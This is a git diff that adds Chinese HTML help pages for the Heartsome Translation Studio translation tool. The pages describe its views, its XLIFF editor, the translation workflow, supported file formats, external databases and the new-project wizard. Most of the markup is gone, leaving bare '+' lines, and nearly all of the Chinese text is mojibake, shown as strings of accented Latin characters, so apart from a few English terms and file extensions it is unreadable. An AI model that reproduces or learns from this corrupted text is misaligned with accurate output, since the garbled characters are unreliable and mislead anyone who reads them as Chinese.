    +
    + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04s02.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04s02.html new file mode 100644 index 0000000..d6be1c6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04s02.html @@ -0,0 +1,158 @@ + + + +2. 视图 + + + + + + + +
    +

    +2. 视图

    + + +

    HSTS + 中的视图å¯ä»¥åƒæ™®é€šçš„对è¯æ¡†ä¸€æ ·é£˜æµ®æ˜¾ç¤ºï¼Œä¹Ÿå¯ä»¥åœé ã€å¹³é“ºåœ¨ä¸»ç•Œé¢ä¸Šã€å¹¶å¯éšæ„更改大å°ã€ä½ç½®ã€æœ€å¤§åŒ–ã€æœ€å°åŒ–,或与其他视图堆å åœ¨ä¸€èµ·ã€‚摆放的方å¼ç›¸å½“çµæ´»ï¼Œå¯ä»¥é€‚应用户对界é¢å¸ƒå±€çš„任何è¦æ±‚。

    + +

    åŒæ—¶ï¼Œè§†å›¾è¿˜å¯ä»¥æ供工具æ ã€å³é”®èœå•ã€çŠ¶æ€æ ç­‰åŠŸèƒ½ï¼Œè®©ç”¨æˆ·å¯ä»¥æ›´æ–¹ä¾¿åœ°ä½¿ç”¨å¸¸ç”¨çš„功能。

    + +
    +

    +认识视图

    + + +

    HSTS ç›®å‰æ供了如下几个视图:项目ã€è®°å¿†åº“ã€æœ¯è¯­ã€å“质检查结果,还有一个与视图类似的 XLIFF + 编辑器。下é¢é€ä¸€ä»‹ç»è¿™äº›è§†å›¾ã€‚

    + +
    +

    +项目

    + + +

    项目视图æ供了对项目åŠå…¶ä¸­çš„文件夹ã€æ–‡ä»¶çš„管ç†åŠŸèƒ½ï¼Œä¸»è¦é€šè¿‡é¼ æ ‡æ‹–放ã€å³é”®èœå•ç­‰æ“作方å¼æ¥ä½¿ç”¨è¿™äº›åŠŸèƒ½ã€‚

    + +
    +

    图 21. 项目

    +
    + + +
    +
    项目
    +
    +
    +
    +
    +
    + +
    +

    +记忆库

    + + +

    记忆库视图用æ¥æ˜¾ç¤ºè‡ªåŠ¨åœ¨è®°å¿†åº“中查找到的当å‰æ–‡æœ¬æ®µçš„匹é…,以åŠå¿«é€Ÿç¿»è¯‘ã€æœºå™¨ç¿»è¯‘等结果,å¯ä»¥ç›´æŽ¥æŠŠè¿™äº›åŒ¹é…的译文应用到当å‰æ–‡æœ¬æ®µä½œä¸ºè¯‘文。

    + +
    +

    图 22. 记忆库

    +
    + + +
    +
    记忆库
    +
    +
    +
    +
    +
    + +
    +

    +术语

    + + +

    术语视图自动显示当å‰æ–‡æœ¬æ®µä¸­çš„所有术语,å¯ä»¥æ–¹ä¾¿åœ°å°†æœ¯è¯­æ’入到译文中。

    + +
    +

    图 23. 术语

    +
    + + +
    +
    术语
    +
    +
    +
    +
    + +
    +

    æ示

    +

    记忆库与术语库视图的字体å¯ä»¥åœ¨å·¥å…· > + 选项 > + 系统中设置,å¯ä»¥ä¸Žç¼–辑器使用ä¸åŒçš„字体。

    +
    +
    + +
    +

    +å“质检查结果

    + + +

    å“质检查结果视图列出执行å“质检查åŽçš„所有结果,并å¯ä»¥ç›´æŽ¥è·³è½¬åˆ°ç›¸åº”的错误文本段。

    + +
    +

    图 24. å“质检查结果

    +
    + + +
    +
    å“质检查结果
    +
    +
    +
    +
    +
    +
    + +
    +

    +使用视图

    + + +
    +

    +显示/éšè—视图

    + + +

    视图å¯ä»¥é€šè¿‡åœ¨è§†å›¾èœå•ä¸‹é€‰ä¸­/å–消选中æ¥å®žçŽ°æ˜¾ç¤º/éšè—。å¦å¤–,视图èœå•è¿˜å¯ä»¥æ˜¾ç¤º/éšè—工具æ å’ŒçŠ¶æ€æ ã€‚

    + +

    对于已ç»æ˜¾ç¤ºçš„视图,还å¯ä»¥é€šè¿‡ç‚¹å‡»è§†å›¾æ ‡é¢˜å³æ–¹çš„按钮将其关闭(也就是éšè—)。

    +
    + +
    +

    +改å˜è§†å›¾å¤§å°

    + + +

    将鼠标放在视图的边框处,当鼠标光标å˜æˆæˆ–的时候,按ä½å·¦é”®æ‹–动,å³åˆ†åˆ«å¯ä¿®æ”¹è§†å›¾çš„宽ã€é«˜å¤§å°ã€‚

    +
    + +
    +

    +最å°åŒ–ã€æœ€å¤§åŒ–视图

    + + +

    点击视图å³ä¸Šè§’的按钮,分别å¯ä»¥æœ€å°åŒ–ã€æœ€å¤§åŒ–视图。åŒå‡»è§†å›¾çš„标题æ ï¼Œä¹Ÿå¯ä»¥åœ¨æœ€å¤§åŒ–的常规大å°ä¹‹é—´åˆ‡æ¢ã€‚

    +
    + +
    +

    +改å˜è§†å›¾ä½ç½®

    + + +

    在视图标题æ å¤„按ä½é¼ æ ‡å·¦é”®ï¼Œæ‹–动到其他ä½ç½®ï¼Œå‡ºçŽ°çš„虚线框å³è¡¨ç¤ºè¯¥è§†å›¾çš„æ–°ä½ç½®ã€‚

    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04s03.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04s03.html new file mode 100644 index 0000000..d0b2708 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch04s03.html @@ -0,0 +1,113 @@ + + + +3. XLIFF 编辑器 + + + + + + + +
    +

    +3. XLIFF 编辑器

    + + +

    XLIFF 编辑器是 HSTS + 中最常用的界é¢ç»„件,所有对æºæ–‡ã€è¯‘文的æ“作都在编辑器中完æˆã€‚

    + +

    对编辑器的改å˜å¤§å°ã€æœ€å°åŒ–ã€æœ€å¤§åŒ–ã€æ‹–动ä½ç½®ç­‰æ“作,和其他视图类似,详情请å‚考上一节。

    + +
    +

    图 25. XLIFF 编辑器

    +
    + + +
    +
    XLIFF 编辑器
    +
    +
    +
    +
    + +

    编辑器æ供了两ç§å¸ƒå±€ï¼Œä¸Šå›¾ä¸ºé»˜è®¤çš„水平布局,而下图则为垂直布局,打开文件åŽå¯ä»¥åœ¨äºŒè€…之间切æ¢ã€‚

    + +
    +

    图 26. XLIFF 编辑器:垂直布局

    +
    + + +
    +
    XLIFF 编辑器:垂直布局
    +
    +
    +
    +
    + +

    å•å‡» XLIFF 编辑器的列首å¯ä»¥æŒ‰æºæ–‡ã€è¯‘文等内容对文本段进行排åºã€‚其中状æ€åˆ—æ供了四个图标,分别表示如下状æ€ï¼š

    + +
      +
    • +

      文本段状æ€

      + +

      该文本段在翻译æµç¨‹ä¸­çš„处ç†çŠ¶æ€ï¼Œåˆ†åˆ«æœ‰å¦‚下六ç§ï¼š

      + +
        +
      • +

        未翻译

        + +

        译文为空时的默认状æ€ã€‚

        +
      • +
      • +

        è‰ç¨¿

        + +

        添加或编辑译文åŽçš„默认状æ€ã€‚

        +
      • +
      • +

        已翻译

        + +

        执行完æˆç¿»è¯‘æ“作åŽçš„状æ€ï¼ŒåŒæ—¶ä¼šå°†æ–‡æœ¬æ®µå…¥åº“。通常由翻译人员执行此æ“作。

        +
      • +
      • +

        已批准

        + +

        执行批准æ“作åŽçš„状æ€ï¼ŒåŒæ—¶ä¹Ÿä¼šå°†æ–‡æœ¬æ®µå…¥åº“。通常由编辑/校对人员执行此æ“作。

        +
      • +
      • +

        已签å‘

        + +

        执行签å‘æ“作åŽçš„状æ€ã€‚用æ¥è¡¨ç¤ºè¯¥æ–‡æœ¬æ®µçš„译文为最终确认的终稿。

        +
      • +
      • +

        å·²é”定

        + +

        é”定文本段åŽçš„状æ€ã€‚é”定文本段å¯ä»¥é¿å…æ„外修改ä¸åº”修改的内容,例如ä¸éœ€è¦ç¿»è¯‘的文本段。é”定åŽçš„文本段暂时看ä¸åˆ°å…¶åœ¨è¢«é”定之å‰çš„æµç¨‹å¤„ç†çŠ¶æ€ï¼Œè§£é”文本段åŽä¼šè‡ªåŠ¨æ¢å¤ä¸ºå…¶åœ¨è¢«é”定之å‰çš„状æ€ã€‚

        +
      • +
      +
    • +
    • +

      ä¸æ·»åŠ åˆ°è®°å¿†åº“

      + +

      为文本段设置ä¸æ·»åŠ åˆ°è®°å¿†åº“标记åŽçš„状æ€ã€‚默认所有文本段都会添加到记忆库,但有些情况下,å¯èƒ½éœ€è¦æŒ‡å®šæŸäº›æ–‡æœ¬æ®µå§‹ç»ˆä¸éœ€è¦æ·»åŠ åˆ°è®°å¿†åº“中,就å¯ä»¥ä½¿ç”¨æ­¤æ ‡è®°ã€‚

      +
    • +
    • +

      有疑问

      + +

      为文本段设置有疑问标记åŽçš„状æ€ã€‚对文本段的æºæ–‡æˆ–译文有疑问,需è¦å†æ¬¡ç¡®è®¤çš„,å¯ä»¥æ·»åŠ æ­¤æ ‡è®°ï¼Œæ–¹ä¾¿è¿‡æ»¤å‡ºæ¥ç»Ÿä¸€å¤„ç†ã€‚

      +
    • +
    • +

      有批注

      + +

      添加批注åŽçš„文本段就会显示此图标。

      +
    • +
    + +
    +

    æ示

    +

    编辑器的字体å¯ä»¥åœ¨å·¥å…· > + 选项 > + 系统中设置,å¯ä»¥ä¸Žè®°å¿†åº“/术语库使用ä¸åŒçš„字体。

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05.html new file mode 100644 index 0000000..324912b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05.html @@ -0,0 +1,281 @@ + + + +工作æµç¨‹ + + + + + + + +
    +

    +工作æµç¨‹

    + + +

    使用 Heartsome Translation Studio 进行翻译的æµç¨‹å¦‚下:

    + +
    +

    图 27. Heartsome Translation Studio 项目翻译æµç¨‹

    +
    + + +
    Heartsome Translation Studio 项目翻译æµç¨‹
    +
    +
    +
    + +
    +

    +1. 项目准备

    + + +

    在开始使用 Heartsome Translation Studio 翻译项目之å‰ï¼Œç”¨æˆ·éœ€è¦åœ¨ HSTS + 之外完æˆå¦‚下一些准备工作,以帮助用户更好地完æˆç¿»è¯‘项目。

    + +
    +

    +æºæ–‡ä»¶

    + + +

    在翻译项目中,需è¦ç¿»è¯‘çš„æºæ–‡ä»¶é€šå¸¸éƒ½ä¼šå¸¦æœ‰ä¸€äº›ç‰¹å®šçš„æ ¼å¼ä¿¡æ¯ï¼Œä¾‹å¦‚对字体样å¼ã€å¤§å°ã€é¢œè‰²ã€æ®µè½å¸ƒå±€ç­‰å¤–观进行定义。CAT + 工具在处ç†è¿™äº›æ–‡ä»¶æ—¶ï¼Œéœ€è¦æŠŠçœŸæ­£è¦ç¿»è¯‘的文本内容从æºæ–‡ä»¶ä¸­æå–出æ¥ï¼Œä½¿ç¿»è¯‘人员能够专注于待翻译的内容本身,而ä¸ä¼šå—到格å¼ä¿¡æ¯çš„干扰。

    + +

    客户æ供的待翻译文件通常有两ç§ç±»åž‹ï¼šä¸€ç§æ˜¯æœªç»è½¬æ¢çš„原始æºæ–‡ä»¶ï¼›å¦ä¸€ç§æ˜¯å·²ç»ä»Žæºæ–‡ä»¶è½¬æ¢å¥½çš„文件,如 SDL + Tradosã€Déjà Vuã€Wordfast Pro å’Œ MemoQ 等工具的åŒè¯­æ–‡ä»¶ã€‚

    + +

    Heartsome Translation Studio 支æŒå¦‚下格å¼çš„第一ç§ç±»åž‹çš„æºæ–‡ä»¶ï¼š

    + +
      +
    • +

      .docx, .xlsx, + .pptx

      + +

      Microsoft Office 文档

      +
    • +
    • +

      .doc, .xls, + .ppt

      + +

      Microsoft Office 97-2004 文档

      +
    • +
    • +

      .html, .htm

      + +

      网页文件

      +
    • +
    • +

      .idml

      + +

      Adobe InDesign 标记

      +
    • +
    • +

      .inx

      + +

      Adobe InDesign 交æ¢æ–‡æ¡£

      +
    • +
    • +

      .js

      + +

      JavaScript 脚本

      +
    • +
    • +

      .mif

      + +

      Adobe FrameMaker 交æ¢æ ¼å¼

      +
    • +
    • +

      .odt, .ods, .odp, + .odg

      + +

      OpenOffice 文档

      +
    • +
    • +

      .po

      + +

      GNU gettext å¯ç§»æ¤å¯¹è±¡

      +
    • +
    • +

      .properties

      + +

      Java 资æºæ–‡ä»¶

      +
    • +
    • +

      .rc

      + +

      Windows C/C++ 资æºæ–‡ä»¶

      +
    • +
    • +

      .resx

      + +

      Windows .NET 资æºæ–‡ä»¶

      +
    • +
    • +

      .rtf

      + +

      富文本格å¼

      +
    • +
    • +

      .rtf

      + +

      SDL Trados åŒè¯­ RTF 文件

      +
    • +
    • +

      .txt

      + +

      文本文件

      +
    • +
    • +

      .xml

      + +

      XML 文件

      +
    • +
    + +

    HSTS 支æŒå°†å¦‚下第二ç§ç±»åž‹çš„文件当作æºæ–‡ä»¶å¤„ç†ï¼š

    + +
      +
    • +

      .mqxlz

      + +

      MemoQ 6.x 文档

      +
    • +
    • +

      .sdlxliff

      + +

      SDL Trados XLIFF 文件

      +
    • +
    • +

      .ttx

      + +

      SDL Trados TagEditor TRADOStag åŒè¯­æ–‡ä»¶

      +
    • +
    • +

      .txml

      + +

      Wordfast Pro TXML åŒè¯­æ–‡ä»¶

      +
    • +
    • +

      .xlf

      + +

      Déjà Vu XLIFF 文件

      +
    • +
    + +

    第二ç§ç±»åž‹çš„文件中,HSTS 还å¯ä»¥ç›´æŽ¥æ‰“开如下格å¼çš„文件:

    + +
      +
    • +

      .hsxliff

      + +

      Heartsome Translation Studio R8 XLIFF 文件

      +
    • +
    • +

      .xlf, .xliff

      + +

      标准的 XLIFF 文档

      + +
      +

      注æ„

      +

      如果该 XLIFF 文件ä¸æ˜¯ç”± HSTS R8 生æˆçš„,则å¯èƒ½æ— æ³•å®Œå…¨ä½¿ç”¨ HSTS R8 的所有特性。建议åªç”¨ + HSTS 打开相åŒç‰ˆæœ¬çš„程åºæ‰€ç”Ÿæˆçš„ XLIFF 文件(扩展å为 .hsxliff)。

      +
      +
    • +
    + +

    如果您手上的æºæ–‡ä»¶ä¸æ˜¯ä¸Šè¿°åˆ—表中的任一ç§æ ¼å¼ï¼Œåˆ™å¯èƒ½éœ€è¦å…ˆé€šè¿‡è½¬æ¢æˆ–人工处ç†ç­‰æ–¹å¼ï¼Œå¾—到上述任一ç§ç±»åž‹çš„文件,然åŽæ‰å¯ä»¥ç”¨ + HSTS + æ¥ç¿»è¯‘。对于一个项目,至少需è¦å‡†å¤‡ä¸Šè¿°ä¸¤ç§ç±»åž‹çš„待翻译文件中的任一ç§ã€æˆ–它们的组åˆï¼Œå»ºè®®ä¼˜å…ˆä½¿ç”¨ç¬¬ä¸€ç±»åŽŸå§‹æ ¼å¼çš„æºæ–‡ä»¶ã€‚

    + +

    如果æºæ–‡ä»¶æ•°é‡è¾ƒå¤šã€ä¸”有一些特定的目录结构,用户ä¸éœ€è¦äººå·¥ç§»åŠ¨æ–‡ä»¶æˆ–改å˜å…¶ä¿å­˜è·¯å¾„,HSTS + 能很好地处ç†è¿™äº›æºæ–‡ä»¶ï¼Œåœ¨ç¿»è¯‘过程中能始终ä¿æŒè¯¥å›ºå®šçš„目录结构ã€å¹¶æ供方便的批é‡æ“作。

    +
    + +
    +

    +TMX 文件

    + + +
    +

    æ示

    +

    å¯é€‰

    +
    + +

    若客户æ供了 TMX 文件,或用户所在公å¸æˆ–个人拥有从任何途径得到的 TMX + 文件,则需è¦åœ¨åˆ›å»ºé¡¹ç›®å‰å‡†å¤‡å¥½ï¼Œä»¥ä¾¿åœ¨åˆ›å»ºé¡¹ç›®æ—¶å°†å…¶å¯¼å…¥åˆ°æ–°é¡¹ç›®çš„记忆库中。导入 HSTS çš„ TMX 文件应使用 UTF-8 + ç¼–ç ä¿å­˜ï¼Œå¦åˆ™å…¶å†…容将å¯èƒ½æ— æ³•è¢«æ­£ç¡®è¯†åˆ«ã€‚

    +
    + +
    +

    +TBX 文件

    + + +
    +

    æ示

    +

    å¯é€‰

    +
    + +

    若客户æ供了 TBX 文件,或用户所在公å¸æˆ–个人拥有从任何途径得到的 TBX + 文件,则需è¦åœ¨åˆ›å»ºé¡¹ç›®å‰å‡†å¤‡å¥½ï¼Œä»¥ä¾¿åœ¨åˆ›å»ºé¡¹ç›®æ—¶å°†å…¶å¯¼å…¥åˆ°æ–°é¡¹ç›®çš„术语库中。导入 HSTS çš„ TBX 文件应使用 UTF-8 + ç¼–ç ä¿å­˜ï¼Œå¦åˆ™å…¶å†…容将å¯èƒ½æ— æ³•è¢«æ­£ç¡®è¯†åˆ«ã€‚

    +
    + +
    +

    +æ•°æ®åº“æœåŠ¡å™¨

    + + +
    +

    æ示

    +

    å¯é€‰

    +
    + +

    HSTS + 个人版åŠæ›´é«˜ç‰ˆæœ¬æ供了内置的文件型数æ®åº“,å¯ç”¨äºŽåˆ›å»ºè®°å¿†åº“和术语库,而专业版和旗舰版则é¢å¤–æ供了外部数æ®åº“的支æŒã€‚使用外部数æ®åº“æœåŠ¡å™¨ï¼Œé™¤äº†å¯ä»¥èŽ·å¾—更佳的数æ®åº“性能体验之外,还å¯ä»¥é€šè¿‡ç½‘络与团队的其他æˆå‘˜å…±äº«ä½¿ç”¨è®°å¿†åº“和术语库,实现团队å作。

    + +

    HSTS ç›®å‰æ”¯æŒå¦‚下四ç§ç±»åž‹çš„外部数æ®åº“æœåŠ¡å™¨ï¼š

    + +
      +
    • +

      MySQL

      + +

      å…è´¹ã€å¼€æ”¾æºä»£ç ã€è·¨å¹³å°ï¼Œæ”¯æŒ Windowsã€Mac OSã€Linux,主页:www.mysql.com

      +
    • +
    • +

      PostgreSQL

      + +

      å…è´¹ã€å¼€æ”¾æºä»£ç ã€è·¨å¹³å°ï¼Œæ”¯æŒ Windowsã€Mac OSã€Linux,主页:www.postgresql.org

      +
    • +
    • +

      Microsoft SQL Server

      + +

      商业软件ã€ä»…æ”¯æŒ Windows,主页:www.microsoft.com/sqlserver

      +
    • +
    • +

      Oracle

      + +

      商业软件ã€æ”¯æŒ Windowsã€Linux,主页:www.oracle.com

      +
    • +
    + +

    è¦åœ¨ HSTS + 中使用上述任一ç§å¤–部数æ®åº“作为记忆库或术语库,用户需è¦å…ˆä¸‹è½½å¹¶åœ¨ç”µè„‘上(本机或专门的æœåŠ¡å™¨ï¼‰å®‰è£…对应的数æ®åº“æœåŠ¡å™¨è½¯ä»¶ï¼Œç„¶åŽåˆ›å»ºæˆ–设置一个具有创建数æ®åº“æƒé™çš„æ•°æ®åº“用户ã€å¹¶èŽ·å¾—其密ç ï¼Œå…·ä½“的安装和设置步骤请å‚考上述网站中æ供的官方文档。

    + +

    除了在本地安装与é…置上述数æ®åº“作为记忆库或术语库æœåŠ¡å™¨ï¼Œæ‚¨ä¹Ÿå¯ä»¥ä½¿ç”¨äº‘æ•°æ®åº“,例如 Amazon RDSã€ClearDB + 等,详情请查看å„产å“网站。

    +
    +
    + + + + + + + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s02.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s02.html new file mode 100644 index 0000000..eaa7bbb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s02.html @@ -0,0 +1,359 @@ + + + +2. 创建项目 + + + + + + + +
    +

    +2. 创建项目

    + + +

    HSTS + æ供了易于使用的创建项目å‘导æ¥å¸®åŠ©ç”¨æˆ·åˆ›å»ºé¡¹ç›®ï¼Œç‚¹å‡»æ–‡ä»¶èœå•æˆ–项目视图å³é”®èœå•ä¸­çš„新建 + > + 项目å³å¯æ‰“开新建项目å‘导。

    + +
    +

    图 28. 从主èœå•åˆ›å»ºé¡¹ç›®

    +
    + + +
    +
    从主èœå•åˆ›å»ºé¡¹ç›®
    +
    +
    +
    +
    + +
    +

    图 29. 从工具æ åˆ›å»ºé¡¹ç›®

    +
    + + +
    +
    从工具æ åˆ›å»ºé¡¹ç›®
    +
    +
    +
    +
    + +
    +

    图 30. 从å³é”®èœå•åˆ›å»ºé¡¹ç›®

    +
    + + +
    +
    从å³é”®èœå•åˆ›å»ºé¡¹ç›®
    +
    +
    +
    +
    + +
    +

    æ示

    +

    新建项目å‘导中的所有信æ¯éƒ½å¯ä»¥åœ¨åˆ›å»ºå®ŒæˆåŽä¿®æ”¹æˆ–补充,无须担心跳过其中任一个步骤åŽä¼šé”™è¿‡ä¿®æ”¹ç›¸åº”设置的机会。

    +
    + +

    整个新建项目å‘导分为如下五步:

    + +
    +

    +项目信æ¯

    + + +
    +

    图 31. 新建项目:项目信æ¯

    +
    + + +
    +
    新建项目:项目信æ¯
    +
    +
    +
    +
    + +

    项目的基本信æ¯ï¼Œé»˜è®¤åªæœ‰é¡¹ç›®å称。如果需è¦ä¸ºé¡¹ç›®æŒ‡å®šå…¶ä»–属性,å¯ä»¥ç‚¹å‡»é€‰é¡¹æŒ‰é’®ï¼Œä¸ºé¡¹ç›®æ·»åŠ è‡ªå®šä¹‰é¡¹ç›®å±žæ€§ä¿¡æ¯ï¼š

    + +
      +
    • +

      文本字段

      + +

      åªè¦è®¾ç½®å­—段å称å³å¯ã€‚

      +
    • +
    • +

      属性字段

      + +

      需è¦è®¾ç½®å­—段å称ã€å¹¶æŒ‡å®šå…¶å¯ä»¥ä½¿ç”¨çš„预设值。

      +
    • +
    + +
    +

    图 32. 选项:项目属性

    +
    + + +
    +
    选项:项目属性
    +
    +
    +
    +
    + +

    在项目信æ¯ä¸­è®¾ç½®çš„自定义项目属性,将在文本段入库时自动ä¿å­˜åˆ°è®°å¿†åº“中。

    +
    + +
    +

    +语言对

    + + +
    +

    图 33. 新建项目:语言对

    +
    + + +
    +
    新建项目:语言对
    +
    +
    +
    +
    + +

    该项目需è¦ä»Žå“ªä¸ªè¯­è¨€ç¿»è¯‘为哪些语言,å³ï¼š

    + +
      +
    • +

      æºè¯­è¨€

      +
    • +
    • +

      目标语言

      +
    • +
    + +

    其中æºè¯­è¨€åªèƒ½æœ‰ä¸€ä¸ªï¼Œè€Œç›®æ ‡è¯­è¨€å¯ä»¥æœ‰å¤šä¸ªã€‚如果您的项目语言没有在æºè¯­è¨€æˆ–目标语言列表中列出,则å¯ä»¥åœ¨å·¥å…·èœå• + > 选项 > + 语言管ç†ä¸­æ·»åŠ ã€‚

    + +
    +

    图 34. 选项:语言管ç†

    +
    + + +
    +
    选项:语言管ç†
    +
    +
    +
    +
    +
    + +
    +

    +记忆库

    + + +
    +

    æ示

    +

    å¯è·³è¿‡æ­¤æ­¥éª¤ï¼Œç›´æŽ¥å®Œæˆ

    +
    + +

    为该项目设置需è¦ä½¿ç”¨å“ªäº›ç¿»è¯‘记忆库,å¯ä»¥è¿›è¡Œå¦‚下æ“作:

    + +
    +

    图 35. 新建项目:记忆库

    +
    + + +
    +
    新建项目:记忆库
    +
    +
    +
    +
    + +
      +
    • +

      添加

      + +

      添加一个已创建好的记忆库。

      +
    • +
    • +

      创建

      + +

      打开新建记忆库å‘导,创建一个全新的记忆库。详细步骤请è§ä¸‹é¢çš„“新建记忆库å‘导â€ä¸€èŠ‚。

      +
    • +
    • +

      移除

      + +

      将选中的记忆库从当å‰é¡¹ç›®ä¸­ç§»é™¤ï¼Œä½†ä¸ä¼šåˆ é™¤å®žé™…的记忆库åŠå…¶ä¸­çš„任何数æ®ã€‚æ­¤æ“作仅表示ä¸åœ¨è¯¥é¡¹ç›®ä¸­ä½¿ç”¨è¯¥è®°å¿†åº“。

      +
    • +
    • +

      导入 TMX

      + +

      往选中的记忆库中导入 TMX 文件。

      +
    • +
    • +

      设置为默认库

      + +

      默认情况下,第一个添加到项目中的记忆库会被自动设置为默认记忆库,å³å¯è¯»å†™ï¼Œä¸Žä¹‹å¯¹åº”的,éžé»˜è®¤åº“则为åªè¯»ã€‚若添加了多个记忆库,å¯ä»¥é€šè¿‡è®°å¿†åº“列表“默认库â€åˆ—中的å¤é€‰æ¡†æ¥é€‰æ‹©å“ªä¸ªè®°å¿†åº“应该作为默认库。

      +
    • +
    +
    + +
    +

    +术语库

    + + +
    +

    注æ„

    +

    å¯è·³è¿‡æ­¤æ­¥éª¤ï¼Œç›´æŽ¥å®Œæˆ

    +
    + +
    +

    图 36. 新建项目:术语库

    +
    + + +
    +
    新建项目:术语库
    +
    +
    +
    +
    + +

    与记忆库类似,此步å¯ä»¥ä¸ºè¯¥é¡¹ç›®è®¾ç½®éœ€è¦ä½¿ç”¨å“ªäº›æœ¯è¯­åº“,å¯è¿›è¡Œå¦‚下æ“作:

    + +
      +
    • +

      添加

      + +

      添加一个已创建好的术语库。

      +
    • +
    • +

      创建

      + +

      打开新建术语库å‘导,创建一个全新的术语库。详细步骤请è§ä¸‹é¢çš„“术语库â€ä¸€èŠ‚。

      +
    • +
    • +

      移除

      + +

      将选中的术语库从当å‰é¡¹ç›®ä¸­ç§»é™¤ï¼Œä½†ä¸ä¼šåˆ é™¤å®žé™…的术语库åŠå…¶ä¸­çš„任何数æ®ã€‚æ­¤æ“作仅表示ä¸åœ¨è¯¥é¡¹ç›®ä¸­ä½¿ç”¨è¯¥æœ¯è¯­åº“。

      +
    • +
    • +

      导入 TBX

      + +

      往选中的术语库中导入 TBX 文件。

      +
    • +
    • +

      设置为默认库

      + +

      默认情况下,第一个添加到项目中的术语库会被自动设置为默认术语库,å³å¯è¯»å†™ï¼Œä¸Žä¹‹å¯¹åº”的,éžé»˜è®¤åº“则为åªè¯»ã€‚若添加了多个术语库,å¯ä»¥é€šè¿‡æœ¯è¯­åº“列表“默认库â€åˆ—中的å¤é€‰æ¡†æ¥é€‰æ‹©å“ªä¸ªæœ¯è¯­åº“应该作为默认库。

      +
    • +
    +
    + +
    +

    +æºæ–‡ä»¶

    + + +
    +

    注æ„

    +

    å¯è·³è¿‡

    +
    + +
    +

    图 37. 新建项目:添加æºæ–‡ä»¶

    +
    + + +
    +
    新建项目:添加æºæ–‡ä»¶
    +
    +
    +
    +
    + +

    在创建项目的最åŽä¸€æ­¥ï¼Œå¯ä»¥å°†æºæ–‡ä»¶æ·»åŠ åˆ°é¡¹ç›®ä¸­ã€‚具体如下:

    + +
      +
    • +

      添加

      + +

      选择æºæ–‡ä»¶ï¼Œå¹¶æ·»åŠ åˆ°è¯¥é¡¹ç›®ä¸­ã€‚

      +
    • +
    • +

      移除

      + +

      将已添加的æºæ–‡ä»¶ä»Žé¡¹ç›®ä¸­ç§»é™¤ã€‚

      +
    • +
    • +

      转æ¢æºæ–‡ä»¶ä¸º XLIFF

      + +

      在项目创建完æˆåŽï¼Œç«‹å³å°†æºæ–‡ä»¶è½¬æ¢ä¸º XLIFF 文件。

      +
    • +
    + +

    此处适åˆæ·»åŠ ä¸åŒ…å«ç‰¹å®šç›®å½•ç»“æž„çš„æºæ–‡ä»¶ï¼Œè‹¥éœ€è¦æ·»åŠ åŒ…å«ç‰¹å®šç›®å½•ç»“æž„çš„æºæ–‡ä»¶ï¼Œè¯·å…ˆè·³è¿‡æ­¤æ­¥éª¤ï¼Œåœ¨åˆ›å»ºå®ŒæˆåŽä»¥æ‹–放的方å¼å°†æºæ–‡ä»¶æ·»åŠ åˆ°é¡¹ç›®ä¸­æ¥ï¼Œè¯¦æƒ…è§â€œæ·»åŠ æºæ–‡ä»¶â€ä¸€èŠ‚。

    + +

    创建好的新项目会自动生æˆä¸€äº›é¢„设的目录结构,它们的作用分别如下:

    + +
    +

    图 38. 项目目录结构

    +
    + + +
    +
    项目目录结构
    +
    +
    +
    +
    + +
      +
    • +

      Intermediate

      + +

      此文件夹主è¦å­˜æ”¾é¡¹ç›®å¤„ç†çš„过程文件,默认有如下两个å­æ–‡ä»¶å¤¹ï¼š

      + +
        +
      • +

        Report

        + +

        此文件夹存放进行字数分æžã€ç¿»è¯‘或编辑进度分æžåŽï¼Œæ‰€ç”Ÿæˆçš„报告文件(HTML æ ¼å¼ï¼‰ã€‚

        +
      • +
      • +

        SKL

        + +

        此文件夹存放将æºæ–‡ä»¶è½¬æ¢ä¸º XLIFF 时生æˆçš„éª¨æž¶æ–‡ä»¶ï¼Œåœ¨è½¬æ¢ XLIFF + 为目标文件时需è¦éª¨æž¶æ–‡ä»¶ã€‚

        +
      • +
      +
    • +
    • +

      Source

      + +

      此文件夹存放è¦ç¿»è¯‘çš„æºæ–‡ä»¶ï¼Œå»ºè®®ä¿ç•™åŽŸæœ‰çš„目录结构,ä¸ç”¨ç‰¹æ„改å˜ã€‚

      +
    • +
    • +

      Target

      + +

      此文件夹存放翻译好的目标文件,其下会以目标语言的语言代ç ä½œä¸ºç¬¬ä¸€çº§å­ç›®å½•ï¼Œå…¶ä¸­æ˜¯æºæ–‡ä»¶çš„目录结构。

      +
    • +
    • +

      XLIFF

      + +

      此文件夹存放 XLIFF 文件,åŒæ ·ä¼šä»¥ç›®æ ‡è¯­è¨€çš„语言代ç ä½œä¸ºç¬¬ä¸€çº§å­ç›®å½•ï¼Œå…¶ä¸­æ˜¯æºæ–‡ä»¶çš„目录结构。

      +
    • +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s03.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s03.html new file mode 100644 index 0000000..c2e7daf --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s03.html @@ -0,0 +1,1083 @@ + + + +3. 译å‰å‡†å¤‡ + + + + + + + +
    +

    +3. 译å‰å‡†å¤‡

    + + +

    在开始进行真正的翻译工作之å‰ï¼Œè¿˜éœ€è¦åšå¦‚下准备工作,以达到事åŠåŠŸå€çš„效果:

    + +
    +

    +新建记忆库å‘导

    + + +

